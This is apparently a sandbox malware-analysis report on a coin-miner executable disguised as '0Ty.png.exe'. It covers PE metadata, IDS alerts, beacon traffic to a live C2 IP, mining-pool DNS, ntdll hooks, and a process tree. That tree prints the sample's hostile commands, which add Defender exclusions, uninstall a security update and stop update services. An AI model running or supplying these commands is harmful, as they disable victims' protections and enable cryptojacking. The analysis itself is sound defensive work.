Joe Sandbox View:	Filename: Qhx6a6VLAH.exe, Detection: malicious, Browse Filename: 88aext0k.exe, Detection: malicious, Browse Filename: gaozw40v.exe, Detection: malicious, Browse Filename: c2.exe, Detection: malicious, Browse Filename: ldr.ps1, Detection: malicious, Browse Filename: ZppxPm0ASs.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: feZvV3DCj8.exe, Detection: malicious, Browse Filename: services64.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5:n.q[..q[..q[..q[..}[..V.{.t[..V.}.p[..V.m.r[..V.q.p[..V.\|.p[..V.x.p[..Richq[..................PE..d....&.H.........."..................P.......................................p..............................................................dP..<....`.......@..`...................p ............................................... ..p............................text............................... ..h.rdata..\|.... ......................@..H.data........0......................@....pdata..`....@......................@..HINIT...."....P...................... ....rsrc........`......................@..B................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	6.515282439309424
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	0Ty.png.exe
File size:	5'457'920 bytes
MD5:	3cae1f11044d2ca787824610a40f1696
SHA1:	bf4af642f36e87b887f973f47a46bcb2e656c636
SHA256:	50ae56d020d35a747bdf32acbd7c9cc23f8a6827d19c5f32bb05d068acf47251
SHA512:	0918a7876c39cf901e9a4128f456683d85d2564767600ce4536c9d0bcd4be1b380cad8fcdf6d0b96fd30e48a0f1e73e66df6d5f279fb31e5fe5ecca3e2f856a7
SSDEEP:	98304:iAVs069jHTPkc8zU7Jr93Wu+ieSaCKFa/9hAYNS1gtgghI+lw:iMnUjzPkcyI93Wu+ieSaCKFRYNS1gtV8
TLSH:	A146236833D4A8FCCFE40831DAF67598679220A20F3D75CA47D65E2317E2AD460F62D9
File Content Preview:	MZx.....................@...................................x...hr......!..L.!This program cannot be run in DOS mode.$..PE..d...O.Yg.........."...........R.....@..........@..............................S...........`........................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x140001140
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x6759034F [Wed Dec 11 03:13:19 2024 UTC]
TLS Callbacks:	0x40001760, 0x1, 0x400017e0, 0x1
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	203d63d5d9a088e2d84cef737227986b

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
dec eax
mov eax, dword ptr [0000AED5h]
mov dword ptr [eax], 00000001h
call 00007F11B0B38E4Fh
nop
nop
nop
dec eax
add esp, 28h
ret
nop
inc ecx
push edi
inc ecx
push esi
push esi
push edi
push ebx
dec eax
sub esp, 20h
dec eax
mov eax, dword ptr [00000030h]
dec eax
mov edi, dword ptr [eax+08h]
dec eax
mov esi, dword ptr [0000AEC9h]
xor eax, eax
dec eax
cmpxchg dword ptr [esi], edi
sete bl
je 00007F11B0B38E70h
dec eax
cmp edi, eax
je 00007F11B0B38E6Bh
dec esp
mov esi, dword ptr [0000D1D9h]
nop word ptr [eax+eax+00000000h]
mov ecx, 000003E8h
inc ecx
call esi
xor eax, eax
dec eax
cmpxchg dword ptr [esi], edi
sete bl
je 00007F11B0B38E47h
dec eax
cmp edi, eax
jne 00007F11B0B38E29h
dec eax
mov edi, dword ptr [0000AE90h]
mov eax, dword ptr [edi]
cmp eax, 01h
jne 00007F11B0B38E4Eh
mov ecx, 0000001Fh
call 00007F11B0B42D94h
jmp 00007F11B0B38E69h
cmp dword ptr [edi], 00000000h
je 00007F11B0B38E4Bh
mov byte ptr [00534A81h], 00000001h
jmp 00007F11B0B38E5Bh
mov dword ptr [edi], 00000001h
dec eax
mov ecx, dword ptr [0000AE7Ah]
dec eax
mov edx, dword ptr [0000AE7Bh]
call 00007F11B0B42D8Bh
mov eax, dword ptr [edi]
cmp eax, 01h
jne 00007F11B0B38E5Bh
dec eax
mov ecx, dword ptr [0000AE50h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xe098	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x538000	0x18c	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x53b000	0x78	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xc0a0	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xc410	0x138	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xe238	0x160	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xa2b6	0xa400	15e6d8e8492bd42c1636b8bdcb03f1d4	False	0.48323170731707316	data	6.144150286815596	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xc000	0x282c	0x2a00	e8f2e2af559520d2a70a0f0df69c0424	False	0.46726190476190477	data	4.5977717916125185	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xf000	0x528668	0x526e00	dd2d4804696c12a165f918f955ed5774	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x538000	0x18c	0x200	d48a4feaa1dad981f0ea34c689c1df39	False	0.5078125	data	3.1886506090500264	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.00cfg	0x539000	0x10	0x200	b18c7380298e104adf73576fa46bccc1	False	0.04296875	data	0.15127132530476972	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.tls	0x53a000	0x10	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x53b000	0x78	0x200	1d74cbdd12eb7ad04156a4596b4304ab	False	0.234375	data	1.410823287769429	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL	Import
msvcrt.dll	__C_specific_handler, __getmainargs, __initenv, __iob_func, __set_app_type, __setusermatherr, _amsg_exit, _cexit, _commode, _fmode, _initterm, _onexit, _wcsicmp, _wcsnicmp, abort, calloc, exit, fprintf, free, fwrite, malloc, memcpy, memset, signal, strlen, strncmp, vfprintf, wcscat, wcscpy, wcslen, wcsncmp, wcsstr
KERNEL32.dll	DeleteCriticalSection, EnterCriticalSection, GetLastError, InitializeCriticalSection, LeaveCriticalSection, SetUnhandledExceptionFilter, Sleep, TlsGetValue, VirtualProtect, VirtualQuery

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-25T17:23:00.307417+0100	2826930	ETPRO COINMINER XMR CoinMiner Usage	2	192.168.2.4	49730	194.164.234.171	10128	TCP
2024-12-25T17:23:07.931161+0100	2044697	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M3	1	192.168.2.4	49731	85.209.133.29	80	TCP
2024-12-25T17:24:06.527059+0100	2051004	ET MALWARE [ANY.RUN] SilentCryptoMiner Check-in POST Request	2	192.168.2.4	49755	85.209.133.29	80	TCP
2024-12-25T17:25:06.831505+0100	2051004	ET MALWARE [ANY.RUN] SilentCryptoMiner Check-in POST Request	2	192.168.2.4	49775	85.209.133.29	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 25, 2024 17:23:05.858596087 CET	49730	10128	192.168.2.4	194.164.234.171
Dec 25, 2024 17:23:05.978415966 CET	10128	49730	194.164.234.171	192.168.2.4
Dec 25, 2024 17:23:05.978503942 CET	49730	10128	192.168.2.4	194.164.234.171
Dec 25, 2024 17:23:05.978692055 CET	49730	10128	192.168.2.4	194.164.234.171
Dec 25, 2024 17:23:06.098202944 CET	10128	49730	194.164.234.171	192.168.2.4
Dec 25, 2024 17:23:06.713646889 CET	49731	80	192.168.2.4	85.209.133.29
Dec 25, 2024 17:23:06.839982033 CET	80	49731	85.209.133.29	192.168.2.4
Dec 25, 2024 17:23:06.840054989 CET	49731	80	192.168.2.4	85.209.133.29
Dec 25, 2024 17:23:06.841140032 CET	49731	80	192.168.2.4	85.209.133.29
Dec 25, 2024 17:23:06.961911917 CET	80	49731	85.209.133.29	192.168.2.4
Dec 25, 2024 17:23:06.962037086 CET	49731	80	192.168.2.4	85.209.133.29
Dec 25, 2024 17:23:07.081746101 CET	80	49731	85.209.133.29	192.168.2.4
Dec 25, 2024 17:23:07.241168022 CET	10128	49730	194.164.234.171	192.168.2.4
Dec 25, 2024 17:23:07.369956970 CET	49730	10128	192.168.2.4	194.164.234.171
Dec 25, 2024 17:23:07.804949045 CET	10128	49730	194.164.234.171	192.168.2.4
Dec 25, 2024 17:23:07.931011915 CET	80	49731	85.209.133.29	192.168.2.4
Dec 25, 2024 17:23:07.931102037 CET	80	49731	85.209.133.29	192.168.2.4
Dec 25, 2024 17:23:07.931160927 CET	49731	80	192.168.2.4	85.209.133.29
Dec 25, 2024 17:23:07.931317091 CET	49731	80	192.168.2.4	85.209.133.29
Dec 25, 2024 17:23:07.963675022 CET	49730	10128	192.168.2.4	194.164.234.171
Dec 25, 2024 17:23:08.050889015 CET	80	49731	85.209.133.29	192.168.2.4
Dec 25, 2024 17:23:20.319685936 CET	10128	49730	194.164.234.171	192.168.2.4
Dec 25, 2024 17:23:20.369945049 CET	49730	10128	192.168.2.4	194.164.234.171
Dec 25, 2024 17:23:50.427695990 CET	10128	49730	194.164.234.171	192.168.2.4
Dec 25, 2024 17:23:50.479578972 CET	49730	10128	192.168.2.4	194.164.234.171
Dec 25, 2024 17:23:59.409249067 CET	10128	49730	194.164.234.171	192.168.2.4
Dec 25, 2024 17:23:59.463773966 CET	49730	10128	192.168.2.4	194.164.234.171
Dec 25, 2024 17:24:05.155015945 CET	49755	80	192.168.2.4	85.209.133.29
Dec 25, 2024 17:24:05.274676085 CET	80	49755	85.209.133.29	192.168.2.4
Dec 25, 2024 17:24:05.274776936 CET	49755	80	192.168.2.4	85.209.133.29
Dec 25, 2024 17:24:05.275913000 CET	49755	80	192.168.2.4	85.209.133.29
Dec 25, 2024 17:24:05.395422935 CET	80	49755	85.209.133.29	192.168.2.4
Dec 25, 2024 17:24:05.395621061 CET	49755	80	192.168.2.4	85.209.133.29
Dec 25, 2024 17:24:05.515213013 CET	80	49755	85.209.133.29	192.168.2.4
Dec 25, 2024 17:24:06.526787996 CET	80	49755	85.209.133.29	192.168.2.4
Dec 25, 2024 17:24:06.526885033 CET	80	49755	85.209.133.29	192.168.2.4
Dec 25, 2024 17:24:06.527059078 CET	49755	80	192.168.2.4	85.209.133.29
Dec 25, 2024 17:24:06.527059078 CET	49755	80	192.168.2.4	85.209.133.29
Dec 25, 2024 17:24:06.775880098 CET	80	49755	85.209.133.29	192.168.2.4
Dec 25, 2024 17:24:06.776073933 CET	49755	80	192.168.2.4	85.209.133.29
Dec 25, 2024 17:24:06.963799000 CET	49755	80	192.168.2.4	85.209.133.29
Dec 25, 2024 17:24:06.988707066 CET	80	49755	85.209.133.29	192.168.2.4
Dec 25, 2024 17:24:07.109549046 CET	80	49755	85.209.133.29	192.168.2.4
Dec 25, 2024 17:24:07.109724998 CET	49755	80	192.168.2.4	85.209.133.29
Dec 25, 2024 17:24:29.468874931 CET	10128	49730	194.164.234.171	192.168.2.4
Dec 25, 2024 17:24:29.604448080 CET	49730	10128	192.168.2.4	194.164.234.171
Dec 25, 2024 17:24:59.543951988 CET	10128	49730	194.164.234.171	192.168.2.4
Dec 25, 2024 17:24:59.604545116 CET	49730	10128	192.168.2.4	194.164.234.171
Dec 25, 2024 17:25:05.546364069 CET	49775	80	192.168.2.4	85.209.133.29
Dec 25, 2024 17:25:05.736810923 CET	80	49775	85.209.133.29	192.168.2.4
Dec 25, 2024 17:25:05.740186930 CET	49775	80	192.168.2.4	85.209.133.29
Dec 25, 2024 17:25:05.740186930 CET	49775	80	192.168.2.4	85.209.133.29
Dec 25, 2024 17:25:05.860121965 CET	80	49775	85.209.133.29	192.168.2.4
Dec 25, 2024 17:25:05.864244938 CET	49775	80	192.168.2.4	85.209.133.29
Dec 25, 2024 17:25:05.983822107 CET	80	49775	85.209.133.29	192.168.2.4
Dec 25, 2024 17:25:06.831376076 CET	80	49775	85.209.133.29	192.168.2.4
Dec 25, 2024 17:25:06.831505060 CET	49775	80	192.168.2.4	85.209.133.29
Dec 25, 2024 17:25:06.831527948 CET	80	49775	85.209.133.29	192.168.2.4
Dec 25, 2024 17:25:06.831597090 CET	49775	80	192.168.2.4	85.209.133.29
Dec 25, 2024 17:25:06.951209068 CET	80	49775	85.209.133.29	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 25, 2024 17:23:05.638781071 CET	57134	53	192.168.2.4	1.1.1.1
Dec 25, 2024 17:23:05.854140997 CET	53	57134	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 25, 2024 17:23:05.638781071 CET	192.168.2.4	1.1.1.1	0xf63d	Standard query (0)	gulf.moneroocean.stream	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 25, 2024 17:23:05.854140997 CET	1.1.1.1	192.168.2.4	0xf63d	No error (0)	gulf.moneroocean.stream	monerooceans.stream		CNAME (Canonical name)	IN (0x0001)	false
Dec 25, 2024 17:23:05.854140997 CET	1.1.1.1	192.168.2.4	0xf63d	No error (0)	monerooceans.stream		194.164.234.171	A (IP address)	IN (0x0001)	false
Dec 25, 2024 17:23:15.322381973 CET	1.1.1.1	192.168.2.4	0x713c	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 25, 2024 17:23:15.322381973 CET	1.1.1.1	192.168.2.4	0x713c	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

85.209.133.29

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	85.209.133.29	80	8052	C:\Windows\System32\dialer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 25, 2024 17:23:06.841140032 CET	180	OUT	POST /lowkey/api/endpoint.php HTTP/1.1 Accept: / Connection: close Content-Length: 283 Content-Type: application/json Host: 85.209.133.29 User-Agent: cpp-httplib/0.12.6
Dec 25, 2024 17:23:06.962037086 CET	283	OUT	Data Raw: 7b 22 69 64 22 3a 22 67 6f 68 6b 66 79 76 71 62 70 6d 65 63 6e 69 64 22 2c 22 63 6f 6d 70 75 74 65 72 6e 61 6d 65 22 3a 22 31 32 33 37 31 36 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 59 53 54 45 4d 22 2c 22 67 70 75 22 3a 22 59 33 38 48 47 37 Data Ascii: {"id":"gohkfyvqbpmecnid","computername":"123716","username":"SYSTEM","gpu":"Y38HG77BH","cpu":"Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz, Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz","remoteconfig":"","version":"3.4.1","activewindow":"Running as System
Dec 25, 2024 17:23:07.931011915 CET	97	IN	HTTP/1.1 404 Not Found content-length: 14 date: Wed, 25 Dec 2024 16:23:07 GMT Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49755	85.209.133.29	80	8052	C:\Windows\System32\dialer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 25, 2024 17:24:05.275913000 CET	180	OUT	POST /lowkey/api/endpoint.php HTTP/1.1 Accept: / Connection: close Content-Length: 505 Content-Type: application/json Host: 85.209.133.29 User-Agent: cpp-httplib/0.12.6
Dec 25, 2024 17:24:05.395621061 CET	505	OUT	Data Raw: 7b 22 69 64 22 3a 22 67 6f 68 6b 66 79 76 71 62 70 6d 65 63 6e 69 64 22 2c 22 63 6f 6d 70 75 74 65 72 6e 61 6d 65 22 3a 22 31 32 33 37 31 36 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 59 53 54 45 4d 22 2c 22 67 70 75 22 3a 22 59 33 38 48 47 37 Data Ascii: {"id":"gohkfyvqbpmecnid","computername":"123716","username":"SYSTEM","gpu":"Y38HG77BH","cpu":"Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz, Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz","remoteconfig":"","version":"3.4.1","activewindow":"Running as System
Dec 25, 2024 17:24:06.526787996 CET	97	IN	HTTP/1.1 404 Not Found content-length: 14 date: Wed, 25 Dec 2024 16:24:06 GMT Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.4	49775	85.209.133.29	80

Timestamp	Bytes transferred	Direction	Data
Dec 25, 2024 17:25:05.740186930 CET	180	OUT	POST /lowkey/api/endpoint.php HTTP/1.1 Accept: / Connection: close Content-Length: 491 Content-Type: application/json Host: 85.209.133.29 User-Agent: cpp-httplib/0.12.6
Dec 25, 2024 17:25:05.864244938 CET	491	OUT	Data Raw: 7b 22 69 64 22 3a 22 67 6f 68 6b 66 79 76 71 62 70 6d 65 63 6e 69 64 22 2c 22 63 6f 6d 70 75 74 65 72 6e 61 6d 65 22 3a 22 31 32 33 37 31 36 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 59 53 54 45 4d 22 2c 22 67 70 75 22 3a 22 59 33 38 48 47 37 Data Ascii: {"id":"gohkfyvqbpmecnid","computername":"123716","username":"SYSTEM","gpu":"Y38HG77BH","cpu":"Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz, Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz","remoteconfig":"","version":"3.4.1","activewindow":"Running as System
Dec 25, 2024 17:25:06.831376076 CET	97	IN	HTTP/1.1 404 Not Found content-length: 14 date: Wed, 25 Dec 2024 16:25:06 GMT Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 Data Ascii: File not found

Code Manipulations

User Modules

Hook Summary

Function Name	Hook Type	Active in Processes
ZwEnumerateKey	INLINE	explorer.exe, winlogon.exe
NtQuerySystemInformation	INLINE	explorer.exe, winlogon.exe
ZwResumeThread	INLINE	explorer.exe, winlogon.exe
NtDeviceIoControlFile	INLINE	explorer.exe, winlogon.exe
ZwDeviceIoControlFile	INLINE	explorer.exe, winlogon.exe
NtEnumerateKey	INLINE	explorer.exe, winlogon.exe
NtQueryDirectoryFile	INLINE	explorer.exe, winlogon.exe
ZwEnumerateValueKey	INLINE	explorer.exe, winlogon.exe
ZwQuerySystemInformation	INLINE	explorer.exe, winlogon.exe
NtResumeThread	INLINE	explorer.exe, winlogon.exe
RtlGetNativeSystemInformation	INLINE	explorer.exe, winlogon.exe
NtQueryDirectoryFileEx	INLINE	explorer.exe, winlogon.exe
NtEnumerateValueKey	INLINE	explorer.exe, winlogon.exe
ZwQueryDirectoryFileEx	INLINE	explorer.exe, winlogon.exe
ZwQueryDirectoryFile	INLINE	explorer.exe, winlogon.exe

Processes

Process: explorer.exe, Module: ntdll.dll

Function Name	Hook Type	New Data
ZwEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
ZwResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
NtDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
ZwDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
NtEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF
ZwEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
RtlGetNativeSystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
NtEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
ZwQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF

Process: winlogon.exe, Module: ntdll.dll

Function Name	Hook Type	New Data
ZwEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
ZwResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
NtDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
ZwDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
NtEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF
ZwEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
RtlGetNativeSystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
NtEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
ZwQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF

Target ID:	0
Start time:	11:22:56
Start date:	25/12/2024
Path:	C:\Users\user\Desktop\0Ty.png.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\0Ty.png.exe"
Imagebase:	0x7ff712420000
File size:	5'457'920 bytes
MD5 hash:	3CAE1F11044D2CA787824610A40F1696
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	11:22:56
Start date:	25/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	11:22:56
Start date:	25/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	11:22:59
Start date:	25/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff6d9560000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	11:22:59
Start date:	25/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop UsoSvc
Imagebase:	0x7ff7a5b00000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	11:22:59
Start date:	25/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	11:22:59
Start date:	25/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	11:22:59
Start date:	25/12/2024
Path:	C:\Windows\System32\wusa.exe
Wow64 process (32bit):	true
Commandline:	wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x800000
File size:	345'088 bytes
MD5 hash:	FBDA2B8987895780375FE0E6254F6198
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	11:22:59
Start date:	25/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop WaaSMedicSvc
Imagebase:	0x7ff7a5b00000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	11:22:59
Start date:	25/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	11:23:00
Start date:	25/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop wuauserv
Imagebase:	0x7ff7a5b00000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	11:23:00
Start date:	25/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	11:23:00
Start date:	25/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop bits
Imagebase:	0x7ff7a5b00000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	11:23:00
Start date:	25/12/2024
